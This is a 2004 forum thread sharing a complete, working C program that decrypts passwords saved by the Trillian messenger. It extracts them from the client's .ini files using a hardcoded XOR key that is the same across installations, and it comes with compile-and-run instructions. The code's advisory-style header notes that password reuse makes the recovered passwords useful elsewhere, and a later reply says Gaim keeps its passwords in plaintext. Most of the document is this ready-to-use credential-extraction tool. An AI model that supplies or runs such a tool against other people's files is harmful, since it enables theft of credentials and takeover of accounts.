Page 1 of 1

Lost your password on Trillian?

Posted: Sat Feb 21, 2004 6:58 pm
by iblis
Here's a nifty util I saw on bugtraq a few years ago, but decided against posting it. Well, they've not fixed the bug since then, so I'm guessing the cat's out of the bag by now... :D

If you have access to a unix shell of some sort, and it has a compiler (type cc -v or gcc -v to check), all you have to do is paste this puppie to a new file, save it, and type gcc filename.c -o filename

Then just put one of Trillian's .ini files in the directory, and type ./filename <service>.ini

For example:

Code: Select all

./trill aim.ini


This will print out those passwords you lost so long ago. Handy if you registered an account under an e-mail address some years ago, and then somehow lost that address in question.

Remember kids, play nicely. :mrgreen:

Code: Select all

/********************************
 * trillian-ini-decrypt
 * By The Coeus Group
 * http://www.coeus-group.com
 ********************************
 *    Software:    Trillian 0.73, possibly others.
 *   Issue:      Weak "encryption" of saved passwords.
 *   Impact:      Decryption of saved passwords.
 *   Severity:   Medium. ish. The program only works locally, and only
 *         if the subject has saved their password, and really
 *         if someone can get into your AIM account, how earth-
 *         shattering is that??? However, since a lot of people
 *         use the same password for everything... What's easier,
 *         getting the password from Trillian, or Wells Fargo???
 ********************************
 * Trillian is, according to trillian.cc, "...everything you need for instant
 * messaging. Connect to ICQ®, AOL Instant Messenger(SM), MSN Messenger, Yahoo!
 * Messenger and IRC in a single, sleek and slim interface."
 *
 * Upon examination of the Trillian directory (which defaults to
 * C:\Program Files\Trillian\ ), it appears that passwords are stored in
 * ini files that are located in {Path to Trillian}\users\{WindowsLogon}. The
 * passwords are encrypted using a simple XOR with a key apparently uniform
 * throughout every installation.
 *
 * This program takes, as command line argument(s), path(s) to these INI files.
 * It will then display a list of usernames, "encrypted" passwords, and plaintext
 * passwords.
 *
 * Evan Nemerson
 * enemerson@coeus-group.com */

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>

#ifndef FALSE
#define FALSE 0
#endif

#ifndef TRUE
#define TRUE 1
#endif

void toupper(char* string);
int strlen(const char *s);
int strBeginsWith(const char *needle, const char *haystack);
int strIs(const char *subj, const char *eq);
void extractAcctounts(FILE *fp);
char *hex2str(char *string);
void decrypt();
void outPasswds();
void printhelp();
int main(int argc, char *argv[]);

struct account
{
   char username[64];
   char cyphertext[64];
   char plaintext[32];
};

extern int errno;
struct account *pAccounts[32];
short int nAccounts = 0;
char key[] =      "\xF3\x26\x81\xC4"
         "\x39\x86\xDB\x92"
         "\x71\xA3\xB9\xE6"
         "\x53\x7A\x95\x7C";

void toupper(char* string)
{
   short int x = 0;
   for ( x = 0 ; x < (strlen(string)) ; x++ )
   {
      if ( ( string[x] > 96 ) && ( string[x] < 123 ) )
         string[x] -= 32;
   }
}

int strlen(const char *s)
{
   short int n = 0;
   while ( s[n] != 0 )
      n++;
   return n;
}

int strBeginsWith(const char *needle, const char *haystack)
{
   short int x;

   if ( strlen(needle) > strlen(haystack) )
      return FALSE;

   for ( x = 0 ; x < strlen(needle) ; x++ )
   {
      if ( needle[x] != haystack[x] )
         return FALSE;
   }

   return TRUE;
}

int strIs(const char *subj, const char *eq)
{
   short int x;

   if ( strlen(subj) != strlen(eq) )
      return FALSE;
   for ( x = 0 ; x < strlen(subj) ; x++ )
   {
      if ( subj[x] != eq[x] )
         return FALSE;
   }

   return TRUE;
}

void extractAcctounts(FILE *fp)
{
   char buff[256], *ptr;
   int x;
   while ( !feof(fp) )
   {
      fgets(buff, 255, fp);
      if ( strBeginsWith("name=", buff) )
      {
         buff[strlen(buff)-1] = 0;
         pAccounts[nAccounts] = (struct account*)malloc(sizeof(struct account));
         if ( pAccounts[nAccounts] == NULL )
         {
            perror("Failed to malloc()");
            exit(errno);
         }
         ptr = pAccounts[nAccounts]->username;
         for ( x = 5 ; x < strlen(buff) ; x++ )
         {
            ptr[x-5] = buff[x];
         }
         ptr[x-5] = 0;
         nAccounts++;
      }
      if ( strBeginsWith("password=", buff) )
      {
         buff[strlen(buff)-1] = 0;
         ptr = pAccounts[nAccounts-1]->cyphertext;
         for ( x = 9 ; x < strlen(buff) ; x++ )
         {
            ptr[x-9] = buff[x];
         }
         ptr[x-9] = 0;
      }
   }
}

char *hex2str(char *string)
{
   int x=0,n=0,i=0;
   unsigned char hex[2];
   unsigned char *out;
   out = (unsigned char*)malloc((strlen(string)/2)+1);
   if ( out == NULL )
   {
      perror("Failed to malloc()");
      exit(errno);
   }

   // For hex number...
   for ( x = 0 ; x < strlen(string) ; x+=2 )
   {
      out[i] = 0;
      // Convert ASCII 0-F to decimal.
      hex[0] = string[x]-48;
      hex[1] = string[x+1]-48;
      for ( n = 0 ; n < 2 ; n++ )
      {
         if ( hex[n] > 9 )
            hex[n] -= 7;
      }
      out[i++] = (hex[0]*16)+hex[1];
   }
   out[i++] = 0;
   return out;
}

void decrypt()
{
   int n, x;
   char *plain, *cypher;

   for ( x = 0 ; x < nAccounts ; x++ )
   {
      cypher = hex2str(pAccounts[x]->cyphertext);
      plain  = pAccounts[x]->plaintext;

      for ( n = 0 ; n < (strlen(cypher)-1) ; n++ )
      {
         plain[n] = cypher[n] ^ key[n];
      }
   }
}

void outPasswds()
{
   int x;
   printf(
      "/----------------------------\\\n"
      "| trillian-ini-decrypt       |\n"
      "| By The Coeus Group         |\n"
      "| http://www.coeus-group.com |\n"
      "\\----------------------------/\n");
   printf("Found %d accounts.\n\n", nAccounts);
   for ( x = 0 ; x < nAccounts ; x++ )
   {
      printf(   "Username:           : %s\n"
         "Password (encrypted): %s\n"
         "Password (decrypted): %s\n\n",
         pAccounts[x]->username,
         pAccounts[x]->cyphertext,
         pAccounts[x]->plaintext
      );
   }
}

void printhelp()
{
   printf(   "Just put the path to Trillian INI file as command-line\n"
      "parameter. Don't forget to quote as needed. Will accept\n"
      "multiple files.\n");
   exit(0);
}

int main(int argc, char *argv[])
{
   short int x;
   FILE *fp;

   if ( ( argc < 2 ) ) { printhelp(); }
   if (   ( strIs(argv[1],     "-h") )   |
      ( strIs(argv[1], "--help") )   |
      ( strIs(argv[1],     "/?") )
   ) printhelp();

   for ( x = 1 ; x < argc ; x++ )
   {
      fp = fopen(argv[x], "r");
      if ( fp == NULL )
      {
         perror("Error");
         exit(errno);
      }
      extractAcctounts(fp);
   }

   decrypt();
   outPasswds();

   return 0;
}

Posted: Sat Mar 20, 2004 3:09 am
by darkvader
eh, a local password decrypt. ok.

of course, I've been discouraging trillian use for years.

got one for gaim?

Posted: Tue Mar 30, 2004 8:44 pm
by iblis
DarkVader wrote:eh, a local password decrypt. ok.

of course, I've been discouraging trillian use for years.

got one for gaim?


No... not yet. :D

Posted: Wed Sep 29, 2004 8:27 pm
by iblis
DarkVader wrote:eh, a local password decrypt. ok.

of course, I've been discouraging trillian use for years.

got one for gaim?


Wait a goddamned minute. Gaim stores its passwords in plain text, in an XML file.

I don't need no steekin' decrypt. :P